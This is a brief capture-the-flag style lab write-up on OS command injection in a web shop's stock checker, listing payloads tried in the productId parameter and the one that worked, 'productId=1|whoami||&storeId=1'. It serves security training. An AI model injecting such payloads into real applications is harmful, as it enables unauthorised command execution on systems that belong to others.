LAB 1 - OS command injection, simple case

Initial instructions

This lab contains an OS command injection vulnerability in the product stock checker.

The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

To solve the lab, execute the whoami command to determine the name of the current user.

To come across with this command injection we need to go to any product and intercept with Burpsuite the Check stock button.

Once intercepted this is the request.

In the productId we can try to inject the command. I tried several payloads like:

productId=1;whoami
productId=1|whoami
productId=1&&whoami
productId=1%%whoami
productId=1$whoami

But I realized that it was giving error in the response.

So the payload I used to inject this command injection is the following.

productId=1|whoami||&storeId=1

Congratulations, you solved the lab!